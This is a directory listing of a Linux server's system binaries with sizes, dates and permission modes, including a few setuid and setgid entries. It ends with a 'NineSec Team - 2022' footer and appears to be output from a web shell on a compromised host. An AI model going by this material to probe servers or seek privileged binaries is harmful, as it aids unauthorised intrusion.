0755
apachectl
7.06 KB
March 04 2022 11:48:50
root
0755
applygnupgdefaults
2.165 KB
July 04 2022 6:20:36
root
0755
arp
69.297 KB
February 01 2019 7:07:53
root
0755
arpd
78.266 KB
February 13 2020 6:21:59
root
0755
arptables
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-nft
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-nft-restore
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-nft-save
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-restore
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-save
215.32 KB
May 09 2023 8:39:57
root
0755
aspell-autobuildhash
13.225 KB
November 15 2018 4:24:46
root
0755
atopacctd
26.047 KB
January 25 2019 5:41:25
root
0755
auth-otp
38.383 KB
February 27 2020 8:34:56
root
0755
avcstat
14.305 KB
February 26 2020 6:10:57
root
0755
biosdecode
27.203 KB
December 23 2019 6:56:41
root
0755
cache_check
1.29 MB
February 08 2020 12:20:35
root
0755
cache_dump
1.29 MB
February 08 2020 12:20:35
root
0755
cache_metadata_size
1.29 MB
February 08 2020 12:20:35
root
0755
cache_repair
1.29 MB
February 08 2020 12:20:35
root
0755
cache_restore
1.29 MB
February 08 2020 12:20:35
root
0755
cache_writeback
1.29 MB
February 08 2020 12:20:35
root
0755
check_forensic
0.93 KB
April 26 2011 5:10:00
root
0755
chgpasswd
66.203 KB
November 29 2022 12:53:10
root
0755
chmem
62.227 KB
May 30 2023 5:42:35
root
0755
chpasswd
58.203 KB
November 29 2022 12:53:10
root
0755
chroot
42.336 KB
September 05 2019 12:38:40
root
0755
compute_av
14.305 KB
February 26 2020 6:10:57
root
0755
compute_create
14.305 KB
February 26 2020 6:10:57
root
0755
compute_member
14.305 KB
February 26 2020 6:10:57
root
0755
compute_relabel
14.305 KB
February 26 2020 6:10:57
root
0755
compute_user
14.305 KB
February 26 2020 6:10:57
root
0755
convertquota
78.719 KB
April 09 2019 10:12:04
root
0755
cpgr
60.336 KB
November 29 2022 12:53:10
root
0755
cppw
60.336 KB
November 29 2022 12:53:10
root
0755
cron
54.633 KB
February 13 2020 9:44:42
root
0755
ddns-confgen
26.297 KB
September 19 2023 1:22:19
root
0755
delgroup
16.108 KB
April 16 2020 4:12:53
root
0755
deluser
16.108 KB
April 16 2020 4:12:53
root
0755
dmidecode
119 KB
December 23 2019 6:56:41
root
0755
dnssec-cds
46.391 KB
September 19 2023 1:22:19
root
0755
dnssec-checkds
0.901 KB
September 19 2023 1:22:19
root
0755
dnssec-coverage
0.903 KB
September 19 2023 1:22:19
root
0755
dnssec-dsfromkey
38.383 KB
September 19 2023 1:22:19
root
0755
dnssec-importkey
34.383 KB
September 19 2023 1:22:19
root
0755
dnssec-keyfromlabel
38.383 KB
September 19 2023 1:22:19
root
0755
dnssec-keygen
46.383 KB
September 19 2023 1:22:19
root
0755
dnssec-keymgr
0.899 KB
September 19 2023 1:22:19
root
0755
dnssec-revoke
30.383 KB
September 19 2023 1:22:19
root
0755
dnssec-settime
42.383 KB
September 19 2023 1:22:19
root
0755
dnssec-signzone
94.414 KB
September 19 2023 1:22:19
root
0755
dnssec-verify
30.391 KB
September 19 2023 1:22:19
root
0755
dovecot
98.398 KB
July 07 2022 7:17:38
root
0755
dpkg-preconfigure
3.577 KB
August 03 2019 12:51:13
root
0755
dpkg-reconfigure
4.344 KB
August 03 2019 12:51:13
root
0755
e2freefrag
18.375 KB
June 02 2022 2:59:32
root
0755
e4crypt
30.375 KB
June 02 2022 2:59:32
root
0755
e4defrag
34.305 KB
June 02 2022 2:59:32
root
0755
ebtables
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-nft
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-nft-restore
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-nft-save
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-restore
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-save
215.32 KB
May 09 2023 8:39:57
root
0755
edquota
87.188 KB
April 09 2019 10:12:04
root
0755
era_check
1.29 MB
February 08 2020 12:20:35
root
0755
era_dump
1.29 MB
February 08 2020 12:20:35
root
0755
era_invalidate
1.29 MB
February 08 2020 12:20:35
root
0755
era_restore
1.29 MB
February 08 2020 12:20:35
root
0755
faillock
14.148 KB
January 10 2024 2:55:08
root
0755
fdformat
34.227 KB
May 30 2023 5:42:35
root
0755
filefrag
18.328 KB
June 02 2022 2:59:32
root
0755
firewalld
6.863 KB
April 04 2020 7:50:39
root
0755
ftpasswd
34.669 KB
February 27 2020 8:34:56
root
0755
ftpquota
32.201 KB
February 27 2020 8:34:56
root
0755
ftpscrub
23.445 KB
February 27 2020 8:34:56
root
0755
ftpshut
14.148 KB
February 27 2020 8:34:56
root
0755
ftpstats
12.154 KB
February 27 2020 8:34:56
root
0755
genl
82.289 KB
February 13 2020 6:21:59
root
0755
getconlist
14.305 KB
February 26 2020 6:10:57
root
0755
getdefaultcon
14.305 KB
February 26 2020 6:10:57
root
0755
getenforce
14.305 KB
February 26 2020 6:10:57
root
0755
getfilecon
14.305 KB
February 26 2020 6:10:57
root
0755
getpidcon
14.305 KB
February 26 2020 6:10:57
root
0755
getsebool
14.305 KB
February 26 2020 6:10:57
root
0755
getseuser
14.305 KB
February 26 2020 6:10:57
root
0755
groupadd
90.953 KB
November 29 2022 12:53:10
root
0755
groupdel
86.766 KB
November 29 2022 12:53:10
root
0755
groupmems
62.242 KB
November 29 2022 12:53:10
root
0755
groupmod
94.859 KB
November 29 2022 12:53:10
root
0755
grpck
62.18 KB
November 29 2022 12:53:10
root
0755
grpconv
58.055 KB
November 29 2022 12:53:10
root
0755
grpunconv
58.055 KB
November 29 2022 12:53:10
root
0755
httxt2dbm
14.148 KB
October 26 2023 3:54:09
root
0755
iconvconfig
30.398 KB
November 22 2023 2:32:50
root
0755
in.proftpd
1.02 MB
February 27 2020 8:34:56
root
0755
invoke-rc.d
16.643 KB
June 21 2019 8:56:55
root
0755
iotop
0.484 KB
June 19 2023 3:39:59
root
0755
ip6tables
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-apply
6.892 KB
May 09 2023 8:39:57
root
0755
ip6tables-legacy
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-legacy-restore
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-legacy-save
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-nft
215.32 KB
May 09 2023 8:39:57
root
0755
ip6tables-nft-restore
215.32 KB
May 09 2023 8:39:57
root
0755
ip6tables-nft-save
215.32 KB
May 09 2023 8:39:57
root
0755
ip6tables-restore
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-restore-translate
215.32 KB
May 09 2023 8:39:57
root
0755
ip6tables-save
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-translate
215.32 KB
May 09 2023 8:39:57
root
0755
iptables
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-apply
6.892 KB
May 09 2023 8:39:57
root
0755
iptables-legacy
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-legacy-restore
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-legacy-save
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-nft
215.32 KB
May 09 2023 8:39:57
root
0755
iptables-nft-restore
215.32 KB
May 09 2023 8:39:57
root
0755
iptables-nft-save
215.32 KB
May 09 2023 8:39:57
root
0755
iptables-restore
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-restore-translate
215.32 KB
May 09 2023 8:39:57
root
0755
iptables-save
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-translate
215.32 KB
May 09 2023 8:39:57
root
0755
irqbalance
62.922 KB
February 13 2020 8:39:57
root
0755
irqbalance-ui
34.375 KB
February 13 2020 8:39:57
root
0755
isadump
14.305 KB
March 31 2022 10:52:36
root
0755
isaset
14.305 KB
March 31 2022 10:52:36
root
0755
ispell-autobuildhash
15.388 KB
November 15 2018 4:24:46
root
0755
jk_check
11.186 KB
November 11 2019 5:23:32
root
0755
jk_chrootlaunch
22.563 KB
November 11 2019 5:23:32
root
0755
jk_chrootsh
34.297 KB
November 11 2019 5:23:32
root
4755
jk_cp
4.111 KB
November 11 2019 5:23:32
root
0755
jk_init
9.67 KB
November 11 2019 5:23:32
root
0755
jk_jailuser
11.764 KB
November 11 2019 5:23:32
root
0755
jk_list
4.55 KB
November 11 2019 5:23:32
root
0755
jk_lsh
26.297 KB
November 11 2019 5:23:32
root
0755
jk_socketd
30.594 KB
November 11 2019 5:23:32
root
0755
jk_update
9.096 KB
November 11 2019 5:23:32
root
0755
ldattach
34.227 KB
May 30 2023 5:42:35
root
0755
libgvc6-config-update
14.148 KB
March 02 2020 5:35:25
root
0755
locale-gen
4.296 KB
July 26 2023 9:44:39
root
0755
logrotate
82.086 KB
January 21 2019 11:11:39
root
0755
make-ssl-cert
3.784 KB
April 28 2017 9:58:22
root
0755
matchpathcon
14.305 KB
February 26 2020 6:10:57
root
0755
milter-greylist
244.188 KB
January 24 2020 11:35:02
root
0755
mklost+found
14.305 KB
June 02 2022 2:59:32
root
0755
mysqld
64.15 MB
January 17 2024 9:13:42
root
0755
named
529.469 KB
September 19 2023 1:22:19
root
0755
named-checkconf
38.406 KB
September 19 2023 1:22:19
root
0755
named-checkzone
38.406 KB
September 19 2023 1:22:19
root
0755
named-compilezone
38.406 KB
September 19 2023 1:22:19
root
0755
named-journalprint
14.297 KB
September 19 2023 1:22:19
root
0755
named-nzd2nzf
14.297 KB
September 19 2023 1:22:19
root
0755
netplan
0.779 KB
October 26 2023 3:59:19
root
0755
newusers
98.797 KB
November 29 2022 12:53:10
root
0755
nfnl_osf
18.297 KB
May 09 2023 8:39:57
root
0755
nologin
14.297 KB
November 29 2022 12:53:10
root
0755
nsec3hash
14.305 KB
September 19 2023 1:22:19
root
0755
ntpdate
83.289 KB
November 27 2020 10:10:51
root
0755
ntpdate-debian
0.521 KB
November 27 2020 10:10:51
root
0755
opendkim
250.281 KB
December 31 2019 3:16:22
root
0755
ownership
14.445 KB
December 23 2019 6:56:41
root
0755
pam-auth-update
19.858 KB
September 17 2021 8:05:34
root
0755
pam_getenv
2.822 KB
August 12 2020 2:15:04
root
0755
pam_timestamp_check
14.148 KB
January 10 2024 2:55:08
root
0755
paperconfig
4.072 KB
June 26 2019 12:04:32
root
0755
pdata_tools
1.29 MB
February 08 2020 12:20:35
root
0755
php-fpm5.6
4.36 MB
September 02 2023 9:57:07
root
0755
php-fpm7.4
4.57 MB
September 02 2023 10:03:15
root
0755
php-fpm8.0
4.74 MB
September 02 2023 10:04:32
root
0755
php-fpm8.2
5.41 MB
January 20 2024 3:16:39
root
0755
php-fpm8.3
5.49 MB
January 20 2024 3:16:18
root
0755
phpdismod
7.107 KB
January 09 2024 1:01:46
root
0755
phpenmod
7.107 KB
January 09 2024 1:01:46
root
0755
phpquery
6.239 KB
January 09 2024 1:01:46
root
0755
policy-test
6.033 KB
December 12 2013 11:32:41
root
0755
policyvers
14.305 KB
February 26 2020 6:10:57
root
0755
popcon-largest-unused
0.53 KB
February 14 2020 12:04:46
root
0755
popularity-contest
5.228 KB
February 14 2020 12:04:46
root
0755
postalias
22.148 KB
January 29 2024 9:49:03
root
0755
postcat
22.219 KB
January 29 2024 9:49:03
root
0755
postconf
187.625 KB
January 29 2024 9:49:03
root
0755
postdrop
22.273 KB
January 29 2024 9:49:03
root
2555
postfix
18.227 KB
January 29 2024 9:49:03
root
0755
postfix-add-filter
4.899 KB
January 29 2024 9:49:03
root
0755
postfix-add-policy
3.831 KB
January 29 2024 9:49:03
root
0755
postgrey
38.367 KB
May 09 2019 1:35:38
root
0755
postkick
14.148 KB
January 29 2024 9:49:03
root
0755
postlock
14.148 KB
January 29 2024 9:49:03
root
0755
postlog
14.305 KB
January 29 2024 9:49:03
root
0755
postmap
22.148 KB
January 29 2024 9:49:03
root
0755
postmulti
30.539 KB
January 29 2024 9:49:03
root
0755
postqueue
22.227 KB
January 29 2024 9:49:03
root
2555
postsuper
30.477 KB
January 29 2024 9:49:03
root
0755
posttls-finger
42.234 KB
January 29 2024 9:49:03
root
0755
proftpd
1.02 MB
February 27 2020 8:34:56
root
0755
proftpd-gencert
1.638 KB
February 27 2020 8:30:14
root
0755
pwck
58.172 KB
November 29 2022 12:53:10
root
0755
pwconv
54.047 KB
November 29 2022 12:53:10
root
0755
pwunconv
54.055 KB
November 29 2022 12:53:10
root
0755
qmqp-sink
18.148 KB
January 29 2024 9:49:03
root
0755
qmqp-source
22.164 KB
January 29 2024 9:49:03
root
0755
qshape
12.548 KB
January 29 2024 9:49:03
root
0755
quota_nld
82.781 KB
April 09 2019 10:12:04
root
0755
quotastats
13.992 KB
April 09 2019 10:12:04
root
0755
readprofile
22.258 KB
May 30 2023 5:42:35
root
0755
remove-default-ispell
2.863 KB
November 15 2018 4:24:46
root
0755
remove-default-wordlist
2.862 KB
November 15 2018 4:24:46
root
0755
remove-shell
0.883 KB
December 07 2019 3:13:44
root
0755
repquota
83.281 KB
April 09 2019 10:12:04
root
0755
rmail
18.148 KB
January 29 2024 9:49:03
root
0755
rmt
58.547 KB
December 05 2023 6:16:50
root
0755
rmt-tar
58.547 KB
December 05 2023 6:16:50
root
0755
rndc
42.305 KB
September 19 2023 1:22:19
root
0755
rndc-confgen
26.305 KB
September 19 2023 1:22:19
root
0755
rpc.rquotad
87 KB
April 09 2019 10:12:04
root
0755
rsyslogd
710.203 KB
May 03 2022 10:48:35
root
0755
rtcwake
46.227 KB
May 30 2023 5:42:35
root
0755
sasl-sample-server
22.563 KB
February 15 2022 9:03:43
root
0755
saslauthd
102.797 KB
February 15 2022 9:03:43
root
0755
sasldbconverter2
18.375 KB
February 15 2022 9:03:43
root
0755
sasldblistusers2
18.375 KB
February 15 2022 9:03:43
root
0755
saslpasswd2
14.367 KB
February 15 2022 9:03:43
root
0755
saslpluginviewer
18.438 KB
February 15 2022 9:03:43
root
0755
sefcontext_compile
66.508 KB
February 26 2020 6:10:57
root
0755
selabel_digest
14.305 KB
February 26 2020 6:10:57
root
0755
selabel_get_digests_all_partial_matches
14.305 KB
February 26 2020 6:10:57
root
0755
selabel_lookup
14.305 KB
February 26 2020 6:10:57
root
0755
selabel_lookup_best_match
14.305 KB
February 26 2020 6:10:57
root
0755
selabel_partial_match
14.305 KB
February 26 2020 6:10:57
root
0755
select-default-ispell
3.226 KB
November 15 2018 4:24:46
root
0755
select-default-wordlist
3.207 KB
November 15 2018 4:24:46
root
0755
selinux_check_access
14.305 KB
February 26 2020 6:10:57
root
0755
selinux_check_securetty_context
14.305 KB
February 26 2020 6:10:57
root
0755
selinuxenabled
14.305 KB
February 26 2020 6:10:57
root
0755
selinuxexeccon
14.305 KB
February 26 2020 6:10:57
root
0755
sendmail
34.305 KB
January 29 2024 9:49:03
root
0755
sendmail_bitninja
0.478 KB
February 12 2024 9:11:41
root
6755
sensors-detect
212.977 KB
March 31 2022 10:52:36
root
0755
service
9.045 KB
June 21 2019 8:56:55
root
0755
setenforce
14.305 KB
February 26 2020 6:10:57
root
0755
setfilecon
14.305 KB
February 26 2020 6:10:57
root
0755
setquota
95.25 KB
April 09 2019 10:12:04
root
0755
setvesablank
14.07 KB
May 09 2019 5:22:51
root
0755
smtp-sink
35.086 KB
January 29 2024 9:49:03
root
0755
smtp-source
30.172 KB
January 29 2024 9:49:03
root
0755
spamd
127.404 KB
March 24 2023 5:36:49
root
0755
split-logfile
2.358 KB
October 26 2023 3:54:09
root
0755
sshd
863.789 KB
January 02 2024 6:13:02
root
0755
tarcat
0.914 KB
December 05 2023 6:16:50
root
0755
tcpdump
1019.758 KB
February 10 2023 12:34:14
root
0755
testsaslauthd
18.305 KB
February 15 2022 9:03:43
root
0755
thin_check
1.29 MB
February 08 2020 12:20:35
root
0755
thin_delta
1.29 MB
February 08 2020 12:20:35
root
0755
thin_dump
1.29 MB
February 08 2020 12:20:35
root
0755
thin_ls
1.29 MB
February 08 2020 12:20:35
root
0755
thin_metadata_size
1.29 MB
February 08 2020 12:20:35
root
0755
thin_repair
1.29 MB
February 08 2020 12:20:35
root
0755
thin_restore
1.29 MB
February 08 2020 12:20:35
root
0755
thin_rmap
1.29 MB
February 08 2020 12:20:35
root
0755
thin_trim
1.29 MB
February 08 2020 12:20:35
root
0755
togglesebool
14.305 KB
February 26 2020 6:10:57
root
0755
tsig-keygen
26.297 KB
September 19 2023 1:22:19
root
0755
tzconfig
0.104 KB
January 02 2024 8:24:29
root
0755
ufw
4.82 KB
July 17 2023 4:14:04
root
0755
update-ca-certificates
5.291 KB
May 18 2023 3:09:37
root
0755
update-default-aspell
1.004 KB
November 15 2018 4:24:46
root
0755
update-default-ispell
9.678 KB
November 15 2018 4:24:46
root
0755
update-default-wordlist
7.5 KB
November 15 2018 4:24:46
root
0755
update-dictcommon-aspell
1.004 KB
November 15 2018 4:24:46
root
0755
update-dictcommon-hunspell
0.764 KB
November 15 2018 4:24:46
root
0755
update-gsfontmap
0.459 KB
October 12 2023 3:06:46
root
0755
update-icon-caches
0.582 KB
February 15 2022 6:50:52
root
0755
update-info-dir
1.66 KB
October 11 2019 12:32:01
root
0755
update-locale
2.991 KB
June 16 2023 12:22:06
root
0755
update-mime
9.182 KB
October 19 2019 1:05:50
root
0755
update-passwd
34.563 KB
December 17 2019 12:51:51
root
0755
update-pciids
1.711 KB
April 01 2021 12:55:11
root
0755
update-rc.d
16.759 KB
June 21 2019 8:56:55
root
0755
useradd
143.711 KB
November 29 2022 12:53:10
root
0755
userdel
98.891 KB
November 29 2022 12:53:10
root
0755
usermod
139.492 KB
November 29 2022 12:53:10
root
0755
uuidd
42.305 KB
May 30 2023 5:42:35
root
0755
validatetrans
14.305 KB
February 26 2020 6:10:57
root
0755
validlocale
1.731 KB
August 02 2022 5:34:43
root
0755
vcstime
13.992 KB
May 09 2019 5:22:51
root
0755
vigr
68.555 KB
November 29 2022 12:53:10
root
0755
vipw
68.555 KB
November 29 2022 12:53:10
root
0755
virtualmin
1.325 KB
February 12 2024 9:10:53
root
0755
visudo
218.195 KB
April 04 2023 1:56:28
root
0755
vpddecode
18.578 KB
December 23 2019 6:56:41
root
0755
warnquota
95.125 KB
April 09 2019 10:12:04
root
0755
xqmstats
13.992 KB
April 09 2019 10:12:04
root
0755
xtables-legacy-multi
96.969 KB
May 09 2023 8:39:57
root
0755
xtables-monitor
215.32 KB
May 09 2023 8:39:57
root
0755
xtables-nft-multi
215.32 KB
May 09 2023 8:39:57
root
0755
zabbix_agentd
481.617 KB
February 04 2020 5:03:41
root
0755
zic
62.289 KB
November 22 2023 2:32:50
root
0755

NineSec Team - 2022